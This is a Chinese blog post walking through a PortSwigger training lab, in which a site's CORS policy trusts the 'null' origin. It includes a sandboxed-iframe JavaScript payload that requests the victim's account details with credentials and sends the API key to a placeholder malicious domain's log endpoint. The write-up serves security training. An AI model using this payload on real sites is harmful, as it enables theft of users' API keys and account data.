某不知名博客 某不知名博客
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)

Carsaid

安全界的小学生
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)
  • 前言

  • 服务器端主题(翻译)

  • 客户端主题(翻译)

  • 高级主题(翻译)

  • 扩展阅读(翻译)

  • 个人学习笔记

  • 实验室做题记录

    • 实验室做题记录
    • 服务器端

    • 客户端

      • 跨站脚本(XSS)

      • 跨站请求伪造(CSRF)

      • 跨域资源共享(CORS)

        • 学徒-CORS漏洞-基本源反射
        • 学徒-CORS漏洞-受信任的null源
          • 题目
          • 实操
        • 从业者-CORS漏洞-受信任的不安全协议
        • 专家-CORS漏洞-内网枢纽攻击
      • 点击劫持

      • 基于DOM的漏洞

      • WebSockets

    • 高级主题

  • BurpSuite及官方实验室
  • 实验室做题记录
  • 客户端
  • 跨域资源共享(CORS)
carsaid
2023-10-07
目录

学徒-CORS漏洞-受信任的null源

# 实验室:CORS漏洞-受信任的null源

# 题目

该网站具有不安全的 CORS 配置,因为它信任 “null” 源。

若要解决实验室问题,请编写一些 JavaScript 代码,使用 CORS 来检索管理员的 API 密钥,并将代码托管至漏洞利用服务器。当你成功提交管理员的 API 密钥时,该实验就解决了。

你可以使用以下凭据登录到自己的帐户:wiener:peter

实验室-学徒

CORS漏洞-受信任的null源 >>

- name: 实验室-学徒
  desc: CORS漏洞-受信任的null源 >>
  avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
  link: https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack
  bgColor: '#001350'
  textColor: '#39d50c'
1
2
3
4
5
6

# 实操

点击 “ACCESS THE LAB” 进入实验室。

Not Found Image

进入实验室,点击 “My account” 访问登录界面,并使用题目中提供的用户名和密码进行登录。

Not Found Image

在账户页面中,你可以看到当前账户的 API 密钥。

Not Found Image

和上一个实验室相同,API 密钥通过另一个请求获取。

Not Found Image

指定任意Origin值,响应中未返回对应的 ACAO 标头。

说明客户端指定的 Origin 不能动态生成服务端的 ACAO 标头。

Not Found Image

指定null源,响应中返回了对应的 ACAO 标头。

说明允许来自空源的跨域访问。

Not Found Image

先尝试一下典型的 CSRF 攻击载荷。

Not Found Image

访问测试,来源不被允许。

Not Found Image

查看请求数据包,Origin的值为漏洞利用服务器的 URL。

Not Found Image

如果想在传递空源,则可以使用iframe标签,将典型的 CORS 攻击载荷包裹进去:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
function reqListener() {
window.location='<恶意域>/log?key='+this.responseText;
}

var req = new XMLHttpRequest();
req.onload = reqListener;
req.withCredentials = true;
req.open('GET', 'https://<受攻击的域>/accountDetails', true);
req.send();

</script>">

</iframe>
1
2
3
4
5
6
7
8
9
10
11
12
13
14

将修改后的载荷保存至漏洞利用服务器上。

Not Found Image

访问测试,可以正常加载和执行。

Not Found Image

查看产生的请求,正确包含了null值,并且获取到了当前账户的信息。

Not Found Image

发送给受害用户。

Not Found Image

等待一会,查看日志记录,成功捕获到受害用户的账户信息。

Not Found Image

复制其中的 API 密钥。

Not Found Image

回到实验室页面,提交 API 密钥。

Not Found Image

密钥正确,实验完成。

Not Found Image
编辑 (opens new window)
学徒-CORS漏洞-基本源反射
从业者-CORS漏洞-受信任的不安全协议

← 学徒-CORS漏洞-基本源反射 从业者-CORS漏洞-受信任的不安全协议→

最近更新
01
API测试笔记
04-30
02
msfvenom
03-29
03
Metasploit
03-29
更多文章>
Theme by Vdoing | Copyright © 2023-2024 Carsaid | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式